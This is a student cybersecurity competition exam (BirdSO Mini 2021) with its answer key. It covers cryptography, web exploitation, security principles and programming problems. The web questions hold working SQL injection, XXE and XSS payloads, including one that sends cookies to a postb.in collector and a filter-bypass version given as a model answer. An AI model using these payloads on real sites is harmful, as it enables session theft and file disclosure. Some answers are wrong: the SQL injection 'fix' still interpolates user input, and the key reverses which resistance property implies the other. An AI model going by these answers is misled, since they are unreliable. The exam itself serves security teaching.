Cybersecurity C

BirdSO Mini 2021

11-18 December 2021

- You will have 50 minutes to take the exam.
- This test is extremely long. Chances are, you won't finish - do the best that you can.
- Questions are not sorted by difficulty, but rather by topic. If you're stuck on a question, move on.
- **The event is open internet**, meaning that you are allowed to use any materials on the internet to complete the exam. Out of browser time will not be tracked. However, you may not copy code found online.
- Along with the exam on Scilympiad, there will be a programming/hands-on portion of the exam hosted at hackerrank.com.
- You may use any third-party application, such as Discord or Zoom, to communicate with your partners. Voice/video call is permitted.

Written By:

Allen Chang (WW-P North '22)
allenchangscioly@gmail.com

1 Cryptography Multiple Choice - 90 Points

Choose the ONE best answer for each question unless otherwise noted. Each question is worth 6 points.

1. Jeff encodes his name with the Caesar cipher, obtains the string "Qlmm", and sends this ciphertext to Aidan. Aidan encrypts his name with the Caesar cipher using the same key, sending this ciphertext c to Jeff. What is c?
   A. Hpkhu
   B. Ksnkx
   C. Nvqna
   D. Pxspc
   E. Tbwtg

   Solution: We find the shift, which is 7, and simply encrypt "Aidan".

2. Which of the following is true about properties of the XOR operator?
   A. The XOR operator is not commutative.
   B. The XOR operator is not associative.
   C. The result of the XOR of two bits is equivalent to the product of the same bits, modulo 2.
   D. The XOR operator on bits a and b returns true (or equivalently 1) if and only if $a = b$.
   E. All of the properties above are false.

3. Differential cryptanalysis of a substitution-permutation network is considered what type of attack?
   A. Known-plaintext attack
   B. Known-ciphertext attack
   C. Chosen-plaintext attack
   D. Chosen-ciphertext attack
   E. None of the above

4. Primes p and q are used to create an RSA public key (n, e) where $n = pq$; the integer ϕ and the private key d is then calculated as the RSA private key. Which of the following are true?
   A. $ed \equiv 1 \mod n$
   B. d must be prime
   C. ϕ must be prime
   D. For any $x \in \mathbb{N}$, $x = (x^e \pmod n)^d \pmod n$
   E. e must be relatively prime to ϕ

   Solution: The first three choices are incorrect; (d) is incorrect in the case where $x \geq n$, and (e) is correct because e only has to be relatively prime to ϕ.

5. Which of the first three choices may be false about a hash function $H(x)$?
   A. For any two inputs x, y, if $H(x) \neq H(y)$, then $x \neq y$.
   B. For any two inputs x, y, if $x = y$, then $H(x) = H(y)$.
   C. For any two inputs x, y, if $x \neq y$, then $H(x) \neq H(y)$.
   D. There exists inputs x, y such that two of the above are false.
   E. There exists inputs x, y such that all three of the above are be false.

6. Andrew receives a long ciphertext which has been encoded using a substitution cipher. Knowing that the plaintext is in English, Which of the following methods of cryptanalysis are the slowest to perform?
   A. Use the frequencies of the letters in the ciphertext to perform a frequency analysis.
   B. Use the frequencies of digraphs (pairs of adjacent letters) in the ciphertext to perform a frequency analysis.
   C. Use the frequencies of doubles (pairs of adjacent letters that are equal) in the ciphertext to perform a frequency analysis.
   D. Brute force all possible keys.
   E. Begin by iterating through possible words using the pattern of their letters in the ciphertext, then backtrack if necessary.

7. Which of the following is the result of 34 XOR 51?
   A. 16
   B. 17
   C. 21
   D. 28
   E. 29

8. Eric is given a ciphertext which has been encoded using the Affine cipher with key $(a, b) = (17, 3)$. The first letter of the ciphertext is 'A'. What is the first letter of the plaintext?
   A. H
   B. I
   C. J
   D. K
   E. L

9. In AES-128, how many rounds of encryption are performed?
   A. 8
   B. 10
   C. 128
   D. 256
   E. 512

10. Which of the following cryptosystems is a private-key cryptosystem?
    A. AES
    B. Diffie-Hellman Key Exchange
    C. Elliptic Curve Digital Signature Algorithm
    D. RSA
    E. None of the above are private-key cryptosystems.

11. Which of the following is false about one-time pads (OTP)?
    A. If Alice and Bob would like to share a secret message using an OTP, a shared key must first be established.
    B. OTPs are unconditionally secure, meaning that they cannot be broken even with unlimited computational power.
    C. The key used in an OTP used to encrypt a plaintext p must be the same length as p.
    D. Given any two ciphertexts which have been encrypted using the same key in an OTP, it is possible to recover its two plaintexts.
    E. The OTP cipher has been in use since the early 1900s.

    Solution: Consider two random bitstrings which have been encrypted using the same key. Then it is impossible to determine the contents of both bitstrings if given the XOR of the bitstrings.

12. Which of the following is true about randomness?
    A. Python's 'random' module generates truly random numbers.
    B. Python's 'random' module generates cryptographically safe random numbers.
    C. True randomness can be achieved by measuring physical variables, such as the decay of atoms.
    D. It is faster to generate truly random numbers using hardware than to generate pseudorandom numbers using an algorithm.
    E. All pseudorandom number generators are cryptographically secure.

13. Using $e = 3$ and $n = 14$, encrypt the number 5 with RSA by computing $5^e \pmod{n}$.
    A. 1
    B. 4
    C. 7
    D. 10
    E. 13

14. Crystal generates a RSA key. Which of the following variables, if published, would not compromise the security of her key?
    A. d
    B. n
    C. ϕ
    D. p
    E. q

15. Consider AES-256. Using Grover's algorithm for quantum computers, approximately how many iterations of the algorithm must be performed to bruteforce the keyspace to find a correct key?
    A. 256
    B. 512
    C. 1024
    D. 2^{64}
    E. 2^{128}

2 Cryptography Free Response - 300 Points

2.a How Not to Implement RSA - 75 Points

In this section, we investigate the pitfalls of RSA and discuss vulnerabilities in the cryptosystem.

16. (7 points) The NIST recommends that RSA keys are at least how many number of bits? If the security of my cryptosystem is positively correlated with the key size, why aren't isn't all RSA implemented with a very large RSA key?

    Solution: 2048; [3] Large RSA keys aren't used because it becomes much slower/resource intensive/computationally expensive/too much memory. One reason is enough. [4]

17. (9 points) I'd first like to generate two prime numbers p and q, each $\frac{x}{2}$ bits long. Suggest one algorithm of generating primes that is accurate, fast, and secure. Be specific.

    Solution: Award 3 points for each criterion. Example: Use a true random number generator (hardware generation) to generate a random number between $2^{\frac{x}{2}-1}$ and $2^{\frac{x}{2}}$. Testing primality is slow, so we use the Miller-Rabin primality test to probabilistically determine whether or not it is prime after sufficiently many iterations.

18. (11 points) Next, I'd like to choose an integer e to be my public exponent. A friend suggested I use $e = 3$; "It's fast to

encrypt", she said. Do you agree with her suggestion? Why?

> **Solution:** No, $e = 3$ is a horrible idea.[4] Example answer: If ciphertexts are not padded and is small, one can simply take the cube root of the ciphertext to obtain the plaintext. The Franklin-Reiter related message attack and Hastad's Broadcast attack succeeds in $e = 3$. [7]

19. (7 points) Now that I have my primes, I would like to generate the private key. Describe the process/algorithm to generate d in RSA using p, q, e, and n.

> **Solution:** 1) Generate $\phi = (p-1) * (q-1)$. [3]
> 2) Compute the modular inverse of $e \pmod{\phi}$. Use extended euclidean algorithm. [4]

20. (9 points) I'd like to generate another RSA key, but honestly, with RSA prime generation being so slow, I want to reuse one of my primes p and only regenerate q. Describe how a malicious adversary could use my two generated ns to break my public keys.

> **Solution:** Compute the GCDs of n_1 and n_2 to get p. Then simply compute d. [9]

21. (11 points) We've been using what's called "textbook RSA" in the previous questions in this section. In practice, we must pad the plaintext with padding schemes such as PKCS. Why is it insecure to not pad the plaintext?

> **Solution:** Answers vary. Examples: For one, it's not semantically secure; it's insecure against chosen plaintext/ciphertext attacks. It's also insecure for small messages when $m^e < n$. [11]

22. (13 points) Finally, I'd like to encrypt a message by computing $c = p^e \pmod{n}$. Describe an algorithm that can be used to compute c quickly. Note that the naive method, multiplying p together e times, is incredibly slow.

> **Solution:** Multiple solutions. Example: Use the principle of exponentiation by squaring. Convert e to a sequence of bits; iterating from the LSB to the MSB, square p and take its modulus $\log n$ times, multiply to a running counter if the bit is a 1. [13]

23. (8 points) RSA is also known to be insecure against quantum computers. Which quantum algorithm can be used to break RSA?

> **Solution:** Shor's algorithm [8]

2.b OTPs: One-Time Pads or One True Pairings? - 70 Points

24. (8 points) Name one advantage and one disadvantage of using a one-time pad.

> **Solution:** Answers vary. Example: OTPs are unconditionally secure, meaning that any amount of computational power cannot break an OTP if implemented correctly. However, OTPs require a key at least as long as the text to be encrypted, which is inefficient.

Consider the following Python implementation of a one-time pad cipher. Use this to answer questions 25 to 27.

```
1  import random,bitarray
2  def encrypt(message):
3      enc = []
4      rand = random.randint(0,2**48-1) # randomly generate 48 bits
5      randBits = [int(bit) for bit in bin(rand)[2:]] # get array of bits
6      ba = bitarray.bitarray() # initialize bitarray
7      ba.frombytes(message.encode('utf-8')) # bitarray of bits of message
8      messageBits = list(ba) # array of bits of message
9      for bit in range(len(messageBits)): # for every bit to encrypt
10         enc.append(messageBits[bit]^randBits[bit%48]) # encrypt each bit
11     return enc
```

25. (15 points) Describe why this cryptosystem is insecure. In addition, imagine that I encrypt a long essay with this cryptosystem and send it to a friend; however, an adversary intercepts my message. Describe how they could reasonably decrypt my message with a home computer.

> **Solution:** The key follows a pattern that repeats every 48 bits (or something relating to the insecure key extension "algorithm"). [7]
>
> Answers vary. Use a crib-dragging technique to guess letters and see if it matches with other letters. Use the fact that most English letters begins with a '01' when written out in binary. [8]

26. (18 points) Imagine that this encryption algorithm was made public, and that anyone could connect to a website that encrypts any plaintext for them any number of times. Now imagine that I encrypt a random string of bits with this cryptosystem and send it to a friend; however, an adversary intercepts my message. Describe how they could reasonably decrypt my message with a home computer.

> **Solution:** The solution is to abuse python's pseudorandom generator. The random package uses the Mersenne Twister PRNG; one can predict the next numbers after enough numbers. [18]

27. (13 points) Instead of repeating the key, describe a(n) method/algorithm of extending the key that makes the encryption algorithm secure. This algorithm may not generate any new random numbers with Python's "random" package.

> **Solution:** Answers vary. Example: Use it as a key for a cryptographically secure PRNG such as Salsa20. [13]

28. (16 points) Define perfect secrecy mathematically (generous partial credit if definition is only given intuitively *in your own words*, no credit if definition is not in your own words).

> **Solution:** $P(x|y) = P(x) \forall x \in P, y \in C$, where P is the space of all plaintexts and C is the space of all possible ciphertexts. Intuitively, each bit in the plaintext must be independent to the bit in the ciphertext. More intuitive definitions acceptable. [16]

2.c The Cryptanalysis of Block Ciphers - 70 Points

29. (10 points) Describe the difference between a block cipher and a stream cipher.

> **Solution:** A block cipher encrypts on blocks of data; a stream cipher encrypts on successive bits of data. [10]

30. (12 points) What is a substitution-permutation network (SPN)? Describe the two primary steps in the algorithm that performs a round of encryption.

> **Solution:** (1) Substitution. [2] This step substitutes each byte with another predetermined byte from an s-box. [4]
> (2) Permutation. [2] This step permutes the bytes in the block with each other, using a p-box. [4]

31. (12 points) Does an SPN satisfy the properties of confusion and diffusion? For each, define (1) what the property means and (2) whether or not SPNs satisfy it.

> **Solution:** Confusion means that every bit of the ciphertext should be dependent on multiple parts of the key. [4] SPNs have confusion. [2]
> Diffusion means that if a plaintext is changed, the rest of the bits in the new ciphertext should be effectively randomized. [4] SPNs have diffusion. [2]

32. (15 points) Side-channel attacks can be used to attack AES. Describe what a side-channel attack is. How can one protect against side-channel attacks for AES?

> **Solution:** A side-channel attack is an attack that uses information about the implementation of an algorithm to retrieve information about information such as a secret or a key. [7] In AES, built-in hardware instructions can be used, specifically designed for AES, which reduces the possibility of side-channel attacks. [8]

33. (12 points) Describe the process of the linear and differential cryptanalysis techniques for an SPN.

> **Solution:** Linear cryptanalysis finds a probabilistic linear relationship between a subset of plaintext bits in a block and a subset of the state of bits preceding the last substitution round. [6]
> Differential cryptanalysis finds a bias towards the change in an input versus a change in the output. [6]

34. (9 points) AES-ECB is a mode of operation of AES that is well known to be insecure. Does AES-ECB satisfy the properties of confusion and diffusion? For each, if it does not, explain how this makes the cryptosystem insecure.

> **Solution:** Confusion: Yes. [2] Diffusion: No. [2] Since each block is individually encrypted, it is easy to differentiate patterns in the output. [5]

2.d Hashes and One-Way Functions - 85 Points

35. (15 points) Define a one-way function (intuitively is enough). The existence of a true one-way function implies what relationship about the complexity classes of P and NP?

> **Solution:** Formally, a one-way function is some function $f : \{0,1\}^* \to \{0,1\}^*$ if f can be computed in probabilistic polynomial time (is "easy"), but for every PPT algorithm, the preimage of $f(x)$ can be computed when probability sufficiently small (i.e. less than any $\epsilon > 0$. [10] This implies $P \neq NP$. [5]

36. (13 points) One candidate for a one-way function is the multiplication of primes and its inverse, the factorization of n. Why do I say this is a "candidate"? Why, despite this, do we still use this function in cryptosystems such as RSA?

> **Solution:** No one definitively knows whether or not this is a true one-way function. [8] If it was, it would imply $P \neq NP$. This is still used because no one knows how to invert the function in PPT. [5]

37. (10 points) Another candidate for a one-way function is the cryptographically secure hash function. Take SHA-256, for instance; as of 2021, no collision has been found. If we take $H(x)$ to be the SHA-256 hash function, mathematically define a collision between inputs x and y.

Solution: $H(x) = H(y)$ despite $x \neq y$. [10]

38. (20 points) Mathematically prove the existence of hash collisions of SHA-256.

Solution: We take the digest space of SHA-256 to be $D = 2^{256}$. Given $2^{256} + 1$ unique inputs (say, the input space I which are the bitstrings from 0 to $2^{256} + 1$, padded to 257 bits), we can conclude from the pigeonhole principle, since $D < I$, that there must be two bitstrings that hash to the same value. [20]

39. (17 points) Consider a hash function $h : X \to Y$. Mathematically define what it means for h to be *second preimage resistant* and what it means for h to be *collision resistant*. What is the difference? Partial credit for intuitive definitions.

Solution: If, given A FIXED $x \in X$ we cannot find $x' \in X$ such that $x' \neq x$ and $h(x') = h(x)$, then h is second preimage resistant. [6] If we cannot find $x, x' \in X$ such that $x \neq x'$ and $h(x') = h(x)$, then h is collision resistant. [6] The difference is that in a collision, the two preimages can be arbitrary, while in a second preimage, one preimage is fixed. [5]

40. (10 points) Does second preimage resistance imply collision resistance? Does collision resistance imply second preimage resistance?

Solution: Second preimage resistance implies collision resistance. [5] Collision resistance does not imply second preimage resistance. [5]

3 Web Architecture Multiple Choice - 90 Points

Choose the ONE best answer for each question unless otherwise noted. Each question is worth 6 points.

Questions 41-42 refer to the following SQL injection:

```
'; insert into users(user, pass) values ("a", "b");--
```

41. Which of the following does the keyword *users* represent?
    A. A database
    B. A table
    C. A username
    D. A graph
    E. A password
42. What is the function of '–' at the end of the code segment?
    A. It indicates the end of the script.
    B. It separates the script from another query.
    C. It is equivalent to Python's "continue" keyword, telling the script to begin the next iteration of a loop.
    D. It comments out any following script when run.
    E. None of the above.

Consider the following JavaScript code:

```
<script>alert('xss')<script>
```

43. What kind of attack does running the script perform?
    A. XEE injection
    B. XEE bruteforce
    C. XSS injection
    D. XSS payload
    E. None of the above

Consider the following snippet:

```
/index.php?page=<resource>
```

44. Which of the following does this test for when added to the end of the URL as a payload?
    A. Local File Inclusion
    B. XML External Entity Attack
    C. Cross-Site Scripting Attack
    D. Arbitrary Code Execution
    E. SQL Injection
45. Which of the following is not an HTTP request method?
    A. CONNECT
    B. CURL
    C. GET
    D. OPTIONS
    E. POST
46. Which of the following is a user agent for the Chrome browser?
    A. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    B. Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1
    C. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
    D. Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
    E. Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)

Questions 47-48 refer to the following script:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd> ]>
<root>
  <content>&xxe;</content> </root>
```

47. Upon running the script, what can the attacker get access to?
    A. The root directory
    B. Names of local files
    C. Content of local files
    D. XML data
    E. None of the above
48. What contents are displayed when injecting the script in an HTTP request?
    A. The IP addresses of all clients who have visited the server in the past
    B. The names of the directories within /etc/passwd
    C. Sensitive data regarding the application's most recent visits
    D. Login credentials for the server
    E. None of the above

Questions 49-50 refer to the following line of JavaScript:

```
<img src=x onerror="javascript:window.location.assign(
    `https://postb.in/123456-67890?cookie=
    ${document.cookie}`)">
```

49. What is being sent to the PostBin URL?
    A. Data stored in the cookies
    B. The location of a particular document
    C. The user agent of the browser
    D. The IP address of the user
    E. Nothing
50. What is the best way to prevent the vulnerability showcased?
    A. Turn on the HostOnly flag
    B. Turn on the Session flag
    C. Turn on the Secure flag
    D. Turn on the HttpOnly flag
    E. Turn on the NoVuln flag
51. Which of the following describe a potential use case for a hidden form field?
    A. Recording users' birthdays after prompting for their Facebook profile
    B. Recording users' contact information that was input in a form
    C. Recording user agents of users' browsers
    D. Recording users' SSNs through illegal means after they enter personal information
    E. Recording passwords the user chooses for some website
52. Which of the following PHP functions is vulnerable to command injections?
    A. execFile
    B. print
    C. open
    D. input
    E. exec
53. What was the original purpose of PHP (as used by its creator)?
    A. To construct interactive applications online
    B. To use as a replacement for HTML
    C. To store an inventory of contemporary online tools
    D. To track the users visiting the creator's application
    E. None of the above
54. Which of the following HTTP status codes would the server send if a client's request has been received and not processed (and the server cannot update the client with the outcome of their request)?
    A. 101
    B. 202
    C. 204
    D. 307
    E. 425
55. Are SOHO networks more vulnerable to external attacks?
    A. Yes, because of limited funds and thus limited accessibility to professionals
    B. Yes, because SOHO routers run on wired Ethernet, which is old-fashioned and vulnerable to contemporary bruteforcing
    C. No, because due to the organizations using this type of network being small-scale, they are smaller targets to hackers
    D. No, because modern SOHO router vendors are updated with current security technology that make it more secure than home networks running on Wi-Fi configurations
    E. No, because SOHO is unpopular today

4 Web Architecture Free Response - 110 Points

4.a Web Exploitation - 50 Points

Consider the following JavaScript code:

```
result = db.execute(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`).get();
```

56. (21 points) What kind of attack is this code vulnerable to? Write a line of code that fixes this vulnerability.

Solution: SQL Injection. [6] I can fix the vulnerability by adding a prepared statement (or similar).

```
try {
        result = db.prepare(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`).get();
}
```

Questions 57 to 58 refer to the following JavaScript code:

```
function sanitize(content){
    content = content.replace('<',' ').replace('>',' ');
    return content;
}
```

57. (13 points) What does the function specifically do to the "content" input? What is the function's intended purpose?

> **Solution:** The function attempts to sanitize an input, [6] cleaning up the input to remove malicious characters. Specifically, only the first instance of ¡ and ¿ are replaced with whitespace. [7]

58. (16 points) Compose a input such that, when passed into the function, bypasses the function and sends cookie data with the "cookie" query variable to https://postb.in/123456.

> **Solution:**
>
> ```
> <><img src=x onerror="javascript:window.location.assign(`https://postb.in/123456?cookie=${document.cookie}`)">
> ```

4.b Website Construction - 60 Points

Consider the following CSS:

```
div {
    padding-top: 50px;
    padding-right: 30px;
    padding-bottom: 50px;
    padding-left: 30px;
}
```

59. (10 points) Assuming the dimensions of the unmanipulated screen were 1600 pixels x 1200 pixels, what would be the new dimensions of the display inside of the padding?

> **Solution:** 1540px [5] by 1100px [5]

60. (36 points) Allen is writing some HTML for his website, but he doesn't know how. Can you follow the instructions below for him? You do not have to include ¡html¿, ¡head¿, or any other parent elements/tags for questions that ask you to write HTML. The final product should look like this:

Sample	Name
	*Pigeonus pigeonus*
Bird Nerd	Andrew

1. Create a table with 2 columns and 3 rows.
2. In the first row, write Sample and Name in the first and second columns, respectively. These cells should be table headers.
3. In the first cell of row 2, add an image to the link https://birdso.org/src/img/logos/logo.png. Scale the image down to a width and height of 50.
4. In the second cell of row 2, add the words "Pigeonus pigeonus". Italicize this cell.
5. In the first cell of row 3, add blue text that says "Bird Nerd".

6. In the second cell of row 3, add text that says "Andrew". Link the text to https://andrew.com. Make the font of the cell Verdana. Finally, remove the blue coloring and underline.
7. Add a comment below all of the HTML above that says anything of your choice.

Solution:

```
<style>
  a {
      text-decoration: none;
      color: #000000;
  }
  table, th, td {
    border: 1px solid;
    border-collapse: collapse;
  }
</style>
<table>
  <tr>
    <th>Sample</th>
    <th>Name</th>
  </tr>
  <tr>
    <td><img src=https://birdso.org/src/img/logos/logo.png width="50" height="50"></td>
    <td><i>Pigeonus pigeonus</i></td>
  </tr>
  <tr>
    <td style="color:blue">Bird Nerd</td>
    <td style="font-family:verdana"><a href="https://andrew.com"> Andrew</a></td>
  </tr>
</table>
<!-- comment -->

36 Points:
[4] Table created
[2] Table has 3 rows
[2] Table has 2 columns
[3] First row is table header
[3] First row says Sample and Name
[4] 2,1 has image of bird
[3] 2,1 scales image properly
[3] 2,2 has text that is italized properly
[3] 3,1 has text that is blue
[3] 3,2 has text that has font Verdana
[2] 3,2 has text that links to andrew.com
[2] 3,2 is not blue
[2] 3,2 is not underlined
```

61. (14 points) Describe the purpose of CSS and JavaScript in creating a website. What HTML tags allow you to implement code in each language?

Solution: CSS allows you to add style; [4] JavaScript adds interactivity. [4] Use ¡style¿ tags for CSS, [3] ¡script¿ tags for JS. [3]

5 Cybersecurity Principles Free Response - 60 Points

62. (9 points) In your own words, what is two-factor authentication?

Solution: Two-factor authentication is when someone uses two authentication factors, such as (1) something you know, (2) something you have, or (3) something you are to prove the authenticity of a person.

63. (11 points) What does it mean for a browsing session to expire? Why is it important for sessions to expire?

Solution: A browsing session expires by logging the user out of a website, for instance. [5] This is important because if it was not done, the user could risk someone hijacking their account (say, from a public computer or shared computer account). [6]

64. (8 points) What is the purpose of CAPTCHA?

Solution: To differentiate a user between a bot. [8]

65. (9 points) What does it mean for a website to begin with https:// rather than http? What sort of attacks does this prevent?

Solution: Before data is transmitted between the user and the website, the data is first encrypted, preventing man-in-the-middle attacks. [9]

66. (11 points) Say, for instance, that you found a vulnerability in Scilympiad that allows you to see the answer key of this test. What is the most responsible course of action in this scenario? Multiple answers will be accepted.

Solution: Answers vary. Example: Privately report the vulnerability to Scilympiad's developer without publicly discussing it. [11]

67. (12 points) Describe what a phishing attack is. What is one way that you differentiate a legitimate email from a phishing attempt?

Solution: A phishing attack is an email from a malicious party disguised as an email from a trusted party; often, they send links that present a fake login screen which saves your login information. [2] One way would be to look at the email address and check for misspellings of the domain. Answers vary. [6]

6 Programming/Hands-On - 350 Points

HackerRank link: https://www.hackerrank.com/cybersecurity-birdso-mini-invitational-2022

68. (50 points) **The Password of πgeon the Pigeon**

πgeon works as a mailman at the USPS (United States Pelican Service). After years of work, πgeon has decided that they would like to retire to a land far away, but they must first do research online into various countries to determine where they would like to retire to! To logon to their computer, the computer first needs to validate a passphrase. A passphrase is defined as a series of n words separated by spaces; every letter in each word is lowercase English.

We define a valid passphrase if it satisfies three criteria: (1) No word can be duplicated in the passphrase, (2) Every word must be greater than or equal to 3 letters long, and (3) At least one word must contain the letter 'x'. For each passphrase, how many criteria does it satisfy?

Constraints

$1 \leq n \leq 10000$

Input Format

The input contains one line, the passphrase.

Output Format

Print out the number of criteria that the passphrase satisfies.

Sample Input 0

```
this is a sample keyphrase that has no duplicate words
```

Sample Output 0

```
1
```

Explanation 0

The sentence has no duplicate words. However, several words have less than 3 letters, and the letter x does not appear.

Sample Input 1

```
sdvfjl xixjfo fjeiqo
```

Sample Output 1

```
3
```

Explanation 1

The sentence has no duplicate words, all words have at least 3 letters, and the letter x appears.

Solution:

```python
def testPassphrase(s):
    count = 0
    words = s.split(" ")
    if len(set(words))==len(words):
        count+=1
    if all([True if len(word)>=3 else False for word in words]):
        count+=1
    if "x" in s:
        count+=1
    return(count)
print(testPassphrase(input()))
```

69. (125 points) **The πgeon Pattern**

πgeon, after finding the countries they would like to retire to, has begun to fly. Yet flying is boring, so πgeon decides to play a game with themselves, reciting a sequence of numbers, called the *look-and-coo* sequence (a_n).

The sequence is defined with the following rules. We first define a_1. For each $n > 1$, we define a_n by reading off the letters of a_{n-1}, by counting the number of digits in groups of the same digit (see sample input). Given a_1 with length m and an integer n, what is a_n?

Constraints

$0 < m < 100, 1 < n < 50$

Input Format

Line 1 contains n, and line 2 contains a_1.

Output Format

Print a_n.

Sample Input 0

```
7
0
```

Sample Output 0

```
311311222110
```

Explanation 0

We have $a_1 = 0$. Then the next terms in the sequence are 10 (one zeroes), 1110 (one one, one zero), 3110 (three ones, one zero), 132110, 1113122110, 311311222110.

Sample Input 1

```
3
1111111111
```

Sample Output 1

```
111011
```

Explanation 1

We have $a_1 = 1111111111$. Then the next terms in the sequence are 101 (ten ones) and 111011.

Solution:

```python
from itertools import groupby
def lookAndCoo(n,seed):
    copy = seed
    for i in range(n-1):
        split = [''.join(b) for a, b in groupby(copy)]
        copy = "".join([str(len(i))+i[0] for i in split])
    return copy
print(lookAndCoo(int(input()),input().strip()))
```

70. (175 points) **πgeon the Pilot**

Now that πgeon is flying, they'd like to find the shortest time to one of n islands that they have chosen to be sufficiently good for their retirement. The islands are in the following formation:

$a_{1,1}$
$a_{2,1}, a_{2,2}$
$a_{3,1}, a_{3,2}, a_{3,3}$
$\ldots$
$a_{i,1}, a_{i,2}, \ldots, a_{i,i-1}, a_{i,i}$
$\ldots$
$a_{n,1}, a_{n,2}, \ldots, a_{n,n-1}, a_{n,n}$

πgeon begins at $a_{1,1}$. πgeon only flies in two directions; one island directly down (from $a_{x,y}$ to $a_{x+1,y}$) or one island directly down and right (from $a_{x,y}$ to $a_{x+1,y+1}$). Each island can be represented by a value that denotes the amount of days πgeon stays on the island. Since πgeon flies fast, we can assume they can travel instantaneously between islands.

πgeon would like to fly to any $a_{n,i}$ where $1 \leq i \leq n$. What is the shortest amount of time, in days, it will take for πgeon to get to any one of these islands?

Constraints

$0 \leq a_{i,j} < 1000$, for all $0 < i \leq n, 0 < j \leq i$
$1 < n < 1000$

Input Format

Line 1 contains n. The next n lines contain each row of islands $a_{i,j}$ where $0 < i \leq n$ and $0 < j \leq i$; the islands in each row are separated by spaces.

Output Format

Print the shortest amount of time, in days, that it will take for πgeon to get to any island $a_{n,i}$, where $0 < i \leq n$.

Sample Input 0

```
5
1
3 8
6 2 9
3 7 1 6
8 1 2 9 4
```

Sample Output 0

```
9
```

Explanation 0

The shortest path begins at 1, the moves down to 3, down right to 2, down right to 1, and down to 2. $1+3+2+1+2 = 9$.

Solution:

```
def pilot(a,n):
  b = [[0 for j in i] for i in a]
  b[0][0]=a[0][0]
  for r in range(1,n):
    b[r][0]=b[r-1][0]+a[r][0]
    b[r][r]=b[r-1][r-1]+a[r][r]
    for c in range(1,r):
      b[r][c]=min(b[r-1][c],b[r-1][c-1])+a[r][c]
  return(min(b[n-1]))
```

```
n = int(input())
a = [[int(b) for b in input().strip().split(" ")] for i in range(n)]
print(pilot(a,n))
```